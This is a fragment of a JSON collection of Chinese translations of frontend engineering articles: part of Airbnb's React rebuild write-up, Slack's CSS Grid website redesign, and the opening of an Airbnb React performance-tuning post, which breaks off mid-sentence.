}\n}\n\n\nAsyncComponent.propTypes = {\n  // 注意 loader 是返回一个 promise 的函数。\n  // 这个 promise 应该处理一个可渲染的组件。\n  loader: PropTypes.func.isRequired,\n  placeholderHeight: PropTypes.number,\n  renderPlaceholder: PropTypes.func,\n};\n```\n\n这对于最初不可见的重量级元素尤其有用，比如 Modals 和 Panels。我们的明确目标是一行也不多地提供初始化页面可见部分所需的 JavaScript，并使其可交互。这也意味着如果，比方说团队想使用 D3 用于页面弹窗的一个图表，而其他部分不使用 D3，这时候他们就可以权衡一下下载仓库的代码，可以把他们的弹窗代码和其他代码隔离出来。\n\n最重要的是，它可以简单地在任何需要的地方使用：\n\n```\nimport React from 'react';\nimport AsyncComponent from '../../../components/AsyncComponent';\nimport scheduleAsyncLoad from '../../../utils/scheduleAsyncLoad';\n\nfunction mapLoader() {\n  return new Promise((resolve) => {\n    if (process.env.LAZY_LOAD) {\n      return airPORT('./Map', 'HomesSearchMap')\n         .then(x => x.default || x);\n    }\n  });\n}\n\nexport function scheduleMapLoad() {\n scheduleAsyncLoad(searchResultsMapLoader);\n}\n\nexport default function MapAsync(props) {\n  return <AsyncComponent loader={mapLoader} {...props} />;\n}\nview raw\n```\n\n这里我们可以简单地把我们的同步版本的地图换成异步版本，这在小断点上特别有用，用户通过点击按钮显示地图。考虑到大多数用户用手机，在担心 Google 地图之前，让他们进入互动会缩短加载时的焦虑感。\n\n\n另外，注意 `scheduleAsyncLoad()` 组件，在用户交互之前就要请求包。考虑到地图如此频繁地被使用，我们不需要等待用户交互才去请求它。而是在用户进入主页和搜索页的时候就把它加入队列，如果用户在下载完成之前就请求了它，他们会看到一个 `<Loader />` 直到组件可用。没毛病。\n\n这种方法的最后一个好处是 `HomesSearch_Map` 成为浏览器可以缓存的命名包。当我们分解较大的基于路由的捆绑包时，应用程序中 slowly-changing 的部分在更新时保持不变，从而进一步节省了 JavaScript 下载时间。\n\n#### 构建无障碍的设计语言 ####\n\n毫无疑问，它保证的是一个专有的需求，但是我们已经开始构建内部组件库，其中辅助功能被强制为一个严格的约束。在接下来的几个月中，我们将替换所有与屏幕阅读器不兼容的横跨客流的 UI 界面。\n\n```\nimport React, { PropTypes } from 'react';\n\nimport { forbidExtraProps } from 'airbnb-prop-types';\n\nimport CheckBox from '../CheckBox';\nimport FlexBar from '../FlexBar';\nimport Label from '../Label';\nimport HideAt from '../HideAt';\nimport ShowAt from '../ShowAt';\nimport Spacing from '../Spacing';\nimport Text from '../Text';\nimport CheckBoxOnly from '../../private/CheckBoxOnly';\nimport toggleArrayItem from '../../utils/toggleArrayItem';\n\nimport ROOM_TYPES from '../../constants/roomTypes';\n\nconst propTypes = forbidExtraProps({\n  id: PropTypes.string.isRequired,\n  roomTypes: PropTypes.arrayOf(PropTypes.oneOf(ROOM_TYPES.map(roomType => roomType.filterKey))),\n  onUpdate: PropTypes.func,\n});\n\nconst defaultProps = {\n  roomTypes: [],\n  onUpdate() {},\n};\n\nexport default function RoomTypeFilter({ id, roomTypes, onUpdate }) {\n  return (\n    <div>\n      {ROOM_TYPES.map(({ id: roomTypeId, filterKey, iconClass: IconClass, title, subtitle }) => {\n        const inputId = `${id}-${roomTypeId}-Checkbox`;\n        const titleId = `${id}-${roomTypeId}-title`;\n        const subtitleId = `${id}-${roomTypeId}-subtitle`;\n        const selected = roomTypes.includes(filterKey);\n        const checkbox = (\n          <Spacing top={0.5} right={1}>\n            <CheckBoxOnly\n              id={inputId}\n              describedById={subtitleId}\n              name={`${roomTypeId}-only`}\n              checked={selected}\n              onChange={() => onUpdate({ roomTypes: toggleArrayItem(roomTypes, filterKey) })}\n            />\n          </Spacing>\n        );\n        return (\n          <div key={roomTypeId}>\n            <ShowAt breakpoint=\"mediumAndAbove\">\n              <Label htmlFor={inputId}>\n                <FlexBar align=\"top\" before={checkbox} after={<IconClass size={28} />}>\n                  <Spacing right={2}>\n                    <div id={titleId}>\n                      <Text light>{title}</Text>\n                    </div>\n                    <div id={subtitleId}>\n                      <Text small light>{subtitle}</Text>\n                    </div>\n                  </Spacing>\n                </FlexBar>\n              </Label>\n            </ShowAt>\n            <HideAt breakpoint=\"mediumAndAbove\">\n              <Spacing vertical={2}>\n                <CheckBox\n                  id={roomTypeId}\n                  name={roomTypeId}\n                  checked={selected}\n                  label={title}\n                  onChange={() => onUpdate({ roomTypes: toggleArrayItem(roomTypes, filterKey) })}\n                  subtitle={subtitle}\n                />\n              </Spacing>\n            </HideAt>\n          </div>\n        );\n      })}\n    </div>\n  );\n}\nRoomTypeFilter.propTypes = propTypes;\nRoomTypeFilter.defaultProps = defaultProps;\n```\n\n通过我们的设计语言系统将无障碍设计加入到产品的例子\n\n这个 UI 非常丰富，我们不仅希望将 CheckBox 与 title 相关联，还希望与使用了 `aria-describedby` 的 subtitle 关联。为了实现这一点，需要 DOM 中唯一的标识符，这意味着强制关联一个必须的 ID 作为任何调用方需要提供的属性。如果一个组件被用于生产，这些是 UI 是可以强制约束类型的，它提供内置的可访问性。\n\n上面的代码也演示了我们的响应式实体 HideAt 和 ShowAt，它使我们能够大幅度地改变用户在不同屏幕尺寸下的体验，而无需使用 CSS 控制隐藏和显示。这造就了更精简的页面。\n\n#### 关于状态的“外科”和“哲学” ####\n\n不涉及关于如何处理应用程序状态的争论的前端文章不是完整的前端文章。\n\n我们使用 Redux 来处理所有的 API 数据和“全局”数据比如认证状态和体验配置。个人来讲我喜欢 [redux-pack](https://github.com/lelandrichardson/redux-pack) 处理异步，你会发现新大陆。\n\n然而，当遇到页面上所有的复杂性 —— 特别是围绕搜索的 —— 对于一些像表单元素这样低级的用户交互使用 redux 就没那么好用了。我们发现无论如何优化，Redux 循环依然会造成输入体验的卡顿。\n\n![](https://cdn-images-1.medium.com/max/600/1*12LgecpKz8HA2e2evkYacw.png)\n\n我们的房间类型筛选器 (代码在上面)\n\n所以对于用户的所有操作我们使用组件的本地状态，除非触发路由变化或者网络请求才使用 Redux，并且我们没再遇到什么麻烦。\n\n同时，我喜欢 Redux container 组件的那种感觉，并且我们即使带有本地状态，我们依然可以构建可以共享的高阶组件。一个伟大的例子就是我们的筛选功能。搜索[在底特律的家](https://www.airbnb.com/s/Detroit--MI--United-States/homes)，你会在页面上看见几个不同的面板，每一个都可以独立操作，你可以更改你的搜索条件。在不同的断点之间，实际上有几十个组件需要知道当前应用的搜索过滤器以及如何更新它们，在用户交互期间被暂时或正式地被用户接受。\n\n```\nimport React, { PropTypes } from 'react';\nimport { connect } from 'react-redux';\n\nimport SearchFiltersShape from '../../shapes/SearchFiltersShape';\nimport { isDirty } from '../utils/SearchFiltersUtils';\n\nfunction mapStateToProps({ exploreTab }) {\n  const {\n    responseFilters,\n  } = exploreTab;\n\n  return {\n    responseFilters,\n  };\n}\n\nexport const withFiltersPropTypes = {\n  stagedFilters: SearchFiltersShape.isRequired,\n  responseFilters: SearchFiltersShape.isRequired,\n  updateFilters: PropTypes.func.isRequired,\n  clearFilters: PropTypes.func.isRequired,\n};\n\nexport const withFiltersDefaultProps = {\n  stagedFilters: {},\n  responseFilters: {},\n  updateFilters() {},\n  clearFilters() {},\n};\n\nexport default function withFilters(WrappedComponent) {\n  class WithFiltersHOC extends React.Component {\n    constructor(props) {\n      super(props);\n      this.state = {\n        stagedFilters: props.responseFilters,\n      };\n    }\n\n    componentWillReceiveProps(nextProps) {\n      if (isDirty(nextProps.responseFilters, this.props.responseFilters)) {\n        this.setState({ stagedFilters: nextProps.responseFilters });\n      }\n    }\n\n    render() {\n      const { responseFilters } = this.props;\n      const { stagedFilters } = this.state;\n      return (\n        <WrappedComponent\n          {...this.props}\n          stagedFilters={stagedFilters}\n          updateFilters={({ updateObj, keysToRemove }, callback) => {\n            const newStagedFilters = omit({ ...stagedFilters, ...updateObj }, keysToRemove);\n            this.setState({\n              stagedFilters: newStagedFilters,\n            }, () => {\n              if (callback) {\n                // setState callback can be called before withFilter state\n                // propagates to child props.\n                callback(newStagedFilters);\n              }\n            });\n          }}\n          clearFilters={() => {\n            this.setState({\n              stagedFilters: responseFilters,\n            });\n          }}\n        />\n      );\n    }\n  }\n\n  const wrappedComponentName = WrappedComponent.displayName\n    || WrappedComponent.name\n    || 'Component';\n\n  WithFiltersHOC.WrappedComponent = WrappedComponent;\n  WithFiltersHOC.displayName = `withFilters(${wrappedComponentName})`;\n  if (WrappedComponent.propTypes) {\n    WithFiltersHOC.propTypes = {\n      ...omit(WrappedComponent.propTypes, 'stagedFilters', 'updateFilters', 'clearFilters'),\n      responseFilters: SearchFiltersShape,\n    };\n  }\n  if (WrappedComponent.defaultProps) {\n    WithFiltersHOC.defaultProps = { ...WrappedComponent.defaultProps };\n  }\n\n  return connect(mapStateToProps)(WithFiltersHOC);\n}\n```\n\n这里我们有一个利落的技巧。每一个需要和筛选交互的组件只需被 HOC 包裹起来，就是这么简单。它甚至还有属性类型。每个组件都通过 Redux 连接到 **responseFilters**（与当前显示的结果相关联）,并同时保有一个本地 stagedFilters 状态对象用于更改。\n\n以这种方式处理状态，与我们的价格滑块进行交互对页面的其余部分没有影响，所以表现很好。而且所有过滤器面板都具有相同的功能签名，因此开发也很简单。\n\n### 未来做些什么？ ###\n\n既然现在繁重的前端改造工作已经接近完成，我们可以把目光转向未来。\n\n- [AMP](https://www.ampproject.org/) 核心预订流程中的所有页面的 AMP 版本将会实现亚秒级（某些情况下）在手机 web 上 Google 搜索的 **可交互时间**，通过移动网络和桌面网络，所需的许多更改将在 P50 / P90 / P95 冷负载时间内实现显着改善。\n- [PWA](https://developers.google.com/web/progressive-web-apps/) 功能将实现亚秒级（在某些情况下）返回访客的**可交互时间**，并将打开离线优先功能的大门，因此对于具有脆弱网络连接的用户非常关键。\n- 下定决心干掉老旧的技术和框架可以使包大小减少一半。这不是华而不实的工作，我们最终翻出 jQuery、Alt、Bootstrap、Underscore 以及所有额外的 CSS 请求（他们使渲染停滞，并且将近 97% 的规则是不会被使用！）不仅精简了我们的代码，还精简了新员工在上升时需要学习的足迹。\n- 最后，yeoman 的手动捕捉瓶颈的工作、异步加载代码在初始渲染时不可见、避免不必要的重新渲染、并降低重新渲染的成本，这些改进正是拖拉机和顶级跑车之间的区别。\n\n欢迎下次继续围观我们的成果分享。因为这么多的成果会有一些数量上的冲突，我们将尽量选择一些具体的成果在下篇文章中总结。\n\n**自然，如果你欣赏本文并觉得这是一个有趣的挑战，我们一直在寻找优秀出色的人[加入团队](https://www.airbnb.com/careers/departments/engineering)。如果你只想做一些交流，那么随时可以点击我的 twitter [@adamrneary](https://twitter.com/AdamRNeary)。**\n\n最后，深切地向 [Salih Abdul-Karim](https://twitter.com/therealsalih) 和 [Hugo Ahlberg](https://twitter.com/hugoahlberg) 两位体验设计师致敬，他们的令人动容的动画至今让我目不转睛。许多工程师在他们的领域值得赞美，作出贡献的人数众多，难以一一列出的，但绝对包括 Nick Sorrentino、[Joe Lencioni](https://medium.com/@lencioni)、[Michael Landau](https://medium.com/@mikeland86)、Jack Zhang、Walker Henderson 和 Nico Moschopoulos.\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/rebuilding-slack-com.md",
    "content": "> * 原文地址：[Rebuilding slack.com: A redesign powered by CSS Grid and optimized for performance and accessibility.](https://slack.engineering/rebuilding-slack-com-b124c405c193)\n> * 原文作者：[Mina Markham](https://slack.engineering/@minamarkham?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/rebuilding-slack-com.md](https://github.com/xitu/gold-miner/blob/master/TODO/rebuilding-slack-com.md)\n> * 译者：[Raoul1996](https://github.com/Raoul1996)\n> * 校对者：[IridescentMia](https://github.com/IridescentMia)、[Usey95](https://github.com/Usey95)\n\n# 重建 slack.com\n\n## 使用 CSS Grid 重新设计，并针对性能和可访问性进行了优化。\n\n![](https://cdn-images-1.medium.com/max/1000/1*N48fpqutpCqswRistXpymw.jpeg)\n\n[Alice Lee](http://byalicelee.com/) 的插图。\n\n在八月, 我们重新设计了 [slack.com](https://slack.com/),我们想让您稍微看下屏幕后面发生了什么。重建我们的营销网站是一个经过各团队、部门、机构仔细协调的大规模项目。\n\n我们重新设计网站的同时彻底检查了所有的底层代码。我们想要同时实现这样的一些目标：提供一致的更新体验的同时对网站的架构，代码的模块化，整体性能和可访问性进行大改。这将为公司的几个重大事宜提供新的基础，包括[国际化](https://slackhq.com/bienvenue-willkommen-bienvenidos-to-a-more-globally-accessible-slack-546a458b21ae).\n\n![](https://cdn-images-1.medium.com/max/400/1*Q0gC53oTuet-cjsfhRafUQ.png)\n\n![](https://cdn-images-1.medium.com/max/400/1*HrvfG0uHQYUc0j763Cp4uw.png)\n\n![](https://cdn-images-1.medium.com/max/400/1*5BjTaWrvqZPjbhDrS5FBOQ.png)\n\nSlack.com (从左到右: 2013 年 8 月, 2017 年 1 月, 2017 年 8 月)\n\n### 更干净、精简的代码\n\n旧的 slack.com 和我们基于 web 的 Slack 客户端共享了很多代码和资源依赖。我们的目标之一就是将网站和 “web app” 解耦，以简化我们的代码库。通过只包含我们运行 slack.com 所需要的资源的方式，可以提高站点的稳定性，减少开发人员的困惑，创建一个更容易迭代的代码库。这项工作的基本部分之一就是创建我们新的UI框架，名为 :spacesuit: **👩🏾‍🚀**。\n\n:spacesuit: 框架包含基于类(class)的可重用组件和用于标准化我们营销页面的工具类。它降低了我们的 CSS 载荷，在一种情况下降低了近70%(从 416kB 降低至 132kB).\n\n其他有意思的数据：\n\n* 声明数量从 1,881 降至 799 \n* 颜色数量从 91 降至 14 \n* 选择器数量从 2,328 降至 1,719\n\n![](https://cdn-images-1.medium.com/max/1000/0*Kx8ltSgpKXyXRdaD.)\n\n**_重建之前_**_：大量的波动表明 [CSS 特异性](https://csswizardry.com/2014/10/the-specificity-graph/)管理不善。_\n\n![](https://cdn-images-1.medium.com/max/1000/0*BmFqbD-18McrbaDi.)\n\n**_重建之后_**_：使用大部分基于类的系统导致我们的特异性下降。_\n\n我们的 CSS 是基于 [ITCSS 理念](http://www.creativebloq.com/web-design/manage-large-css-projects-itcss-101517528) 组织的，并且使用 [类似 BEM ](https://csswizardry.com/2015/08/bemit-taking-the-bem-naming-convention-a-step-further/) 命名规范。选择器使用单个字母作为前缀来指定类表示的类型。前缀后面跟着组件的名称以及组件的所有变体。举个例子，`u-margin-top--small` 表示我们用变量将 `margin-top` 设置为比较小的数值的工具类。这样的工具类是我们系统不可或缺的部分，因为它允许我们的开发者在不重写大量 CSS 的情况下微调 UI 片段。另外，组件之间的距离是创建设计系统窍门之一。诸如 `u-margin-top--small` 这样的工具类可以创建一致的间距，让我们不必去重置或撤销任何已经设置到组件上的间距。\n![](https://cdn-images-1.medium.com/max/800/0*YrT_q3rSjUFssyYy.)\n\n加载时间减少了 53% 的定价页面是我们最大的成果。\n\n### 现代的响应式布局\n\n新网站使用 Flexbox 和 CSS Grid 的组合来创建响应式布局。我们想要使用 CSS 最新的特性，又希望那些使用较旧的浏览器的访问者获得相似的体验。\n\n开始我们尝试使用 CSS Grid 实现传统的 12 列网格布局，但是最终没有奏效。因为当网格是两种的时候，我们会把自己限制在单一的尺寸布局上。最后我们发现实际上[并不需要](https://rachelandrew.co.uk/archives/2017/07/01/you-do-not-need-a-css-grid-based-grid-system/)基于列的网格。由于 Grid 布局允许你去创建自定义的网格来适配你所有的布局，所以不需要强制12列网格。相反，我们为设计中一些常见的布局模式创建了 CSS Grid 对象。\n\n一些模式很简单\n\n![](https://cdn-images-1.medium.com/max/1000/0*IXMPtmw5vQfr-fZ0.)\n\n经典的三列网格块布局\n\n其他更复杂的则真正展现了 Grid 的能力\n\n![](https://cdn-images-1.medium.com/freeze/max/30/0*Q_tqzOLre__HPLIL.?q=20)\n\n![](https://cdn-images-1.medium.com/max/2000/0*Q_tqzOLre__HPLIL.)\n\n照片拼贴对象\n\n在实现我们的网格之前，像上面这样的布局需要大量的包装，有时使用空 div 来模仿一个二维网格。\n\n```\n<section class=”o-section”>\n    <div class=”o-content-container”>\n        <div class=”o-row”>\n            <div class=”col-8\">…</div>\n            <div class=”col-4\">…</div>\n        </div>\n        <div class=”o-row”>\n            <div class=”col-1\"></div>\n            <div class=”col-3\">…</div>\n            <div class=”col-8\">…</div>\n        </div>\n    </div>\n</section>\n```\n\n使用 CSS Grid，我们可以删除模拟网格所需要的额外标记，只需要在本地简单的创建一个就好。使用 Grid 让我们可以使用更少的标记。此外还确保我们使用的标记是有语义的。\n\n```\n<section class=”c-photo-collage c-photo-collage--three”>\n    <img src=”example-1.jpg” alt=””>\n    <img src=”example-2.jpg” alt=””>\n    <blockquote class=”c-quote”>\n        <p class=”c-quote__text”>…</p>\n    </blockquote>\n    <img src=”example-3.jpg” alt=””>\n</section>\n```\n\n起初，我们使用 Modernizr 来测试对网格的支持情况。然而当库加载时，导致了闪烁的无格式布局。\n\n![](https://cdn-images-1.medium.com/max/1000/0*PFKwdHYeunJfV-Sh.)\n\n当 Modernizr 检测到网格支持的时候，页面默认为移动布局并重排。\n\n我们认为解决布局切换时抖动的体验比向后兼容更重要。折中方案是将 CSS Grid 作为增强方案，当有需要时回退到 Flexbox 和其他技术。\n我们使用了 CSS 功能查询来检测网格支持，而不是使用库。不幸的是，并不是每一个浏览器都支持功能查询。这就意味着只有能处理 `@supports` 规则的浏览器才能使用 CSS Grid 布局。因此，IE11，即使支持某些网格功能，也将会使用基于 FLexBox 的布局。\n\n我们使用一些目前尚未在所有浏览器中完全支持的 Grid 功能。最明显的就是基于百分比的 `grid-gap`。尽管 Safari 的某些版本已经支持这个属性，但是我们仍然需要预见到它的缺失。在实践中，Grid 对象的样式如下：\n\n```\n@supports (display: grid) and (grid-template-columns: repeat(3, 1fr)) and (grid-row-gap: 1%) and (grid-gap: 1%) and (grid-column-gap: 1%) {\n    .c-photo-collage {\n        display: grid;\n        grid-gap: 1.5rem 2.4390244%;\n    }\n    .c-photo-collage > :nth-child(1) {\n        grid-column: 1 / span 3;\n        grid-row: 1;\n    }\n    .c-photo-collage > :nth-child(2) {\n        grid-column: 2;\n        grid-row: 2;\n    }\n    .c-photo-collage > :nth-child(3) {\n        grid-column: 4;\n        grid-row: 1;\n        align-self: flex-end;\n    }\n    .c-photo-collage > :nth-child(4) {\n        grid-column: 3 / span 2;\n        grid-row: 2 / span 2;\n    }\n};\n```\n任何不符合查询要求的浏览器将使用我们的 FlexBox 回退方案\n\n```\n@supports not ((display: grid) and (grid-column-gap: 1%)) {\n    /* fabulously written CSS goes here */\n}\n```\n\n### 流式排版\n\n一旦我们有响应式的布局，我们需要同样适应性的排版。我们使用了[Less mixins](http://lesscss.org/features/#mixins-feature) 来帮助我们微调排版。排版是一个可以作为所有排版设置单一来源的 mixin。对于每种类型的样式，mixin中都会创建一个包含样式名称或者用途的新行，后跟每种类型样式的设置列表。它们的顺序是：`font-family`，min 和 max `font-size` (默认单位是rem)，`line-height`，`font-weight`，以及任何的 `text-transforms`。例如 `uppercase`。为了清楚起见，每种类型名称都以 `display-as-`作为前缀，确保其目的明确。\n\n下面是 mixin 的简化版本：\n\n```\n.m-typeset(@setting) {\n    @display-as-h1: @font-family-serif, 2, 2.75, 1.1, @font-semibold;\n    @display-as-btn-text: @font-family-sans, .9, .875, 1.3, @font-bold, ~”uppercase”;\n    font-family: extract(@@setting, 1);\n    font-weight: extract(@@setting, 5);\n    line-height: extract(@@setting, 4);\n}\n```\n\n看看它的作用：\n\n```\n.c-button { .m-typeset(“display-as-btn-text”); }\n```\n\n这个 mixin 的逻辑需要一个参数，比如 `display-as-btn-text`，并且会从列表中提取每个属性指定的索引。在这个例子中，`line-height` 属性将设置为1.3，因为它是第4个索引值。所以产生的 CSS 将是\n\n```\n.c-button {\n    font-family: ‘Slack-Averta’, sans-serif;\n    font-weight: 700;\n    line-height: 1.3;\n    text-transform: uppercase;\n}\n```\n\n### 美术指导 & 意象(imagery)\n\n[Alice Lee](http://byalicelee.com/) 为我们提供了一些漂亮的插图，我们想要确保我们尽可能好的展出他们。有时想要根据视口(viewport)宽度来显示不同版本的图像。我们在视网膜(retina)和非视网膜(non-retina)资源之间进行切换，对特定的屏幕宽度进行图像调整。\n\n这个过程也成为 [美术指导(art direction)](http://usecases.responsiveimages.org/#art-direction),通过使用 [Picturefill](https://scottjehl.github.io/picturefill/) 的 `[picture](https://html.spec.whatwg.org/multipage/embedded-content.html#embedded-content)` 和 `[source](https://html.spec.whatwg.org/multipage/embedded-content.html#embedded-content)` 元素作为旧版浏览器的 polyfill。例如设备尺寸，设备分辨率，方向等定义的特征可以让我们在设计时规定显示不同的图像资源。\n\n![](https://cdn-images-1.medium.com/max/1000/1*5SzojYwz0QGQF614iNNBmg.gif)\n\n我们的功能页面使用  _srcset_  来显示基于视口大小的不同图像。\n\n借助这些工具，我们能够根据我们设置的查询参数来显示资源的最佳版本。在上面的例子中，小视口需要更简单的首图(hero image)。\n\n```\n<picture class=”o-section__illustration for-desktop-only”>\n    <source srcset=”/img/features/information/desktop/hero.png” sizes=”1x, 2x” media=”(min-width: 1024px)” alt=””>\n    <img srcset=”/img/features/information/mobile/hero.png” sizes=”1x, 2x” alt=””>\n</picture>\n```\n\n这种技术使我们能够为特定的媒体查询显示指定的图片资源，以及需要的是视网膜还是非视网膜资源。最终的结果是在整个网站上良好的美术指导。\n\n\n### 兼容, 从头开始\n\n另一个主要的目标就是确保低视力用户，屏幕阅读器用户和键盘用户可以轻松的浏览网站。从一个干净的代码库开始，我们用少量额外的工作就能在颜色的对比，HTML 的语义化和键盘的可访问性上做出很多有效的改进。此外，我们还能够使用一些新功能来获得更好的访问体验。我们在导航前面添加了[跳过链接](https://webaim.org/techniques/skipnav/)，以便用户可以根据需要绕过菜单。为了获得更好的屏幕阅读体验，我们添加了[aria-live 区域](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Live_Regions) 和辅助函数来报告表单错误和路由更改。此外，在交互键盘可访问和明显的焦点状态上，我们也努力使用清晰，描述性的替代文字(alt text)。\n\n\n### 期待\n\n在获得更好性能，可维护性和可访问性上，总是有很多的胜利。我们正在改进我们站点的遥测(telemetry)，以更好的了解瓶颈所在，以及我们可以在哪些方面发挥最大的影响力。我们为自己取得的进步感到骄傲。我们希望为世界各地的客户创造更愉快的体验。\n\n\n* * *\n\n感谢 [Matt Haughey](https://medium.com/@mathowie?source=post_page)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/recent-web-performance-fixes-on-airbnb-listing-pages.md",
    "content": "> * 原文地址：[React Performance Fixes on Airbnb Listing Pages](https://medium.com/airbnb-engineering/recent-web-performance-fixes-on-airbnb-listing-pages-6cd8d93df6f4)\n> * 原文作者：[Joe Lencioni](https://medium.com/@lencioni?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/recent-web-performance-fixes-on-airbnb-listing-pages.md](https://github.com/xitu/gold-miner/blob/master/TODO/recent-web-performance-fixes-on-airbnb-listing-pages.md)\n> * 译者：[木羽 zwwill](https://github.com/zwwill)\n> * 校对者：[tvChan](https://github.com/tvChan), [atuooo(史金炜)](https://github.com/atuooo)\n\n\n# 针对 Airbnb 清单页的 React 性能优化\n\n**简要：可能在某些领域存在一些触手可及的性能优化点，虽不常见但依然很重要。**\n\n* * *\n\n我们一直在努力把 airbnb.com 的核心预订流程迁移到一个使用 [React Router](https://github.com/ReactTraining/react-router) 和 [Hypernova](https://github.com/airbnb/hypernova) 技术的服务端渲染的单页应用。年初，我们推出了登陆页面，搜索结果告诉我们很成功。我们的下一步是将[清单详情页](https://www.airbnb.com/rooms/8357)扩展到单页应用程序里去。\n\n![](https://cdn-images-1.medium.com/max/600/1*E__f8FixGkfXtq7tia8leg.png)\n\nairbnb.com 的清单详情页: [https://www.airbnb.com/rooms/8357](https://www.airbnb.com/rooms/8357)\n\n这是您在确定预订清单时所访问的页面。在整个搜索过程中，您可能会多次访问该页面以查看不同的清单。这是 airbnb 网站访问量最大同时也是最重要的页面之一，因此，我们必须做好每一个细节。\n\n作为迁移到我们的单页应用的一部分，我希望能排查出所有影响清单页交互性能的遗留问题（例如，滚动、点击、输入）。让页面**启动更快并且延迟更短**，这符合我们的目标，而且这会让使用我们网站的人们有更好的体验。\n\n**通过解析、修复、再解析的流程，我们极大地提高了这个关键页的交互性能，使得预订体验更加顺畅，更令人满意**。在这篇文章中，您将了解到我用来解析这个页面的技术，用来优化它的工具，以及在解析结果给出的火焰图表中感受优化的效果。\n\n### 方法\n\n这些配置项通过Chrome的性能工具被记录下来:\n\n1. 打开隐身窗口（这样我的浏览器扩展工具不会干扰我的解析）。\n2. 使用 `?react_perf` 在查询字符串中进行配置访问本地开发页面（启用 React 的 User Timing 注释，并禁用一些会使页面变慢的 dev-only 功能，例如 [axe-core](https://www.axe-core.org/)）\n3. 点击 record 按钮 ⚫️\n4. 操作页面（如：滚动，点击，打字）\n5. 再次点击 record 按钮 🔴，分析结果\n\n![](https://cdn-images-1.medium.com/max/800/1*w_bDwdT9s_d25W7qE-DZ1g.gif)\n\n**通常情况下，我推荐在移动设备上进行解析以了解在较慢的设备上的用户体验，比如 Moto C Plus，或者 CPU 速度设置为 6x 减速。然而，由于这些问题已经足够严重了，以至于即使是在没有节流的情况下，在我的高性能笔记本电脑上结果表现也是明显得糟糕。**\n\n### 初始化渲染\n\n在我开始优化这个页面时，我注意到控制台上有一个警告:💀\n\n```\nwebpack-internal:///36:36 Warning: React attempted to reuse markup in a container but the checksum was invalid. This generally means that you are using server rendering and the markup generated on the server was not what the client was expecting. React injected new markup to compensate which works but you have lost many of the benefits of server rendering. Instead, figure out why the markup being generated is different on the client or server: (client) ut-placeholder-label screen-reader-only\" (server) ut-placeholder-label\" data-reactid=\"628\"\n```\n\n这是可怕的 客户端/服务端 不匹配问题，当服务器渲染不同于客户端初始化渲染时发生。这会迫使你的 Web 浏览器执行那些在使用服务器渲染时不应该做的工作，所以每当发生这种情况时 React 就会给出这样的提醒 ✋ 。\n\n不过，错误信息并没有明确地表明底发生了什么，或者可能的原因是什么，但确实给了我们一些线索。🔎 我注意到一些看起来像 CSS 类的文本，所以我在终端里输入下面的命令：\n\n```\n~/airbnb ❯❯❯ ag ut-placeholder-label\napp/assets/javascripts/components/o2/PlaceholderLabel.jsx\n85:        'input-placeholder-label': true,\n\napp/assets/stylesheets/p1/search/_SearchForm.scss\n77:    .input-placeholder-label {\n321:.input-placeholder-label,\n\nspec/javascripts/components/o2/PlaceholderLabel_spec.jsx\n25:    const placeholderContainer = wrapper.find('.input-placeholder-label');\n```\n\n很快地我将搜索范围缩小到了 `o2/PlaceHolderLabel.jsx` 这个文件，一个在顶部渲染的搜索组件。\n\n![](https://cdn-images-1.medium.com/max/800/0*M_D7Zs1HFsSoY7Po.)\n\n事实上，我们使用了一些特征检测，以确保在旧浏览器（如 IE）中可以看到 `placeholder`，如果在当前的浏览器中不支持 `placeholder`，则会以不同的方式呈现 `input`。特征检测是正确的方法（与用户代理嗅探相反），但是由于在服务器渲染时没有浏览器检测功能，导致服务器总是会渲染一些额外的内容，而不是大多数浏览器将呈现的内容。 \n\n这不仅降低了性能，还导致了一些额外的标签被渲染出来，然后每次再从页面上删除。真难伺候！我把渲染的内容转化为 React 的 state，并将其设置到 `componentDidMount`，直到客户端渲染时才呈现。这完美的解决了问题。\n\n![](https://cdn-images-1.medium.com/max/1000/1*Dz_-rY84jnCQrWhrlNkECw.png)\n\n我重新运行了一遍 profiler 发现，`<SummaryContainer>` 在 mounting 后立刻更新。 \n\n![](https://cdn-images-1.medium.com/max/1000/0*ZPHyNBzpm6oT1dqu.)\n\nRedux 连接的 SummaryContainer 重绘消耗了 101.64 ms\n\n更新后会重新渲染一个 `<BreadcrumbList>`、两个 `<ListingTitles>` 和一个 `<SummaryIconRow>` 组件，但是他们前后并没有任何区别，所以我们可以通过使用 `React.PureComponent` 使这三个组件的渲染得到显著的优化。方法很简单，如下\n\n```\nexport default class SummaryIconRow extends React.Component {\n  ...\n}\n```\n\n改成这样：\n\n```\nexport default class SummaryIconRow extends React.PureComponent {\n  ...\n}\n```\n\n接下来，我们可以看到 `<BookIt>` 在页面初始载入时也发生了重新渲染的操作。根据火焰图可以看出，大部分时间都消耗在渲染 `<GuestPickerTrigger>` 和 `<GuestCountFilter>` 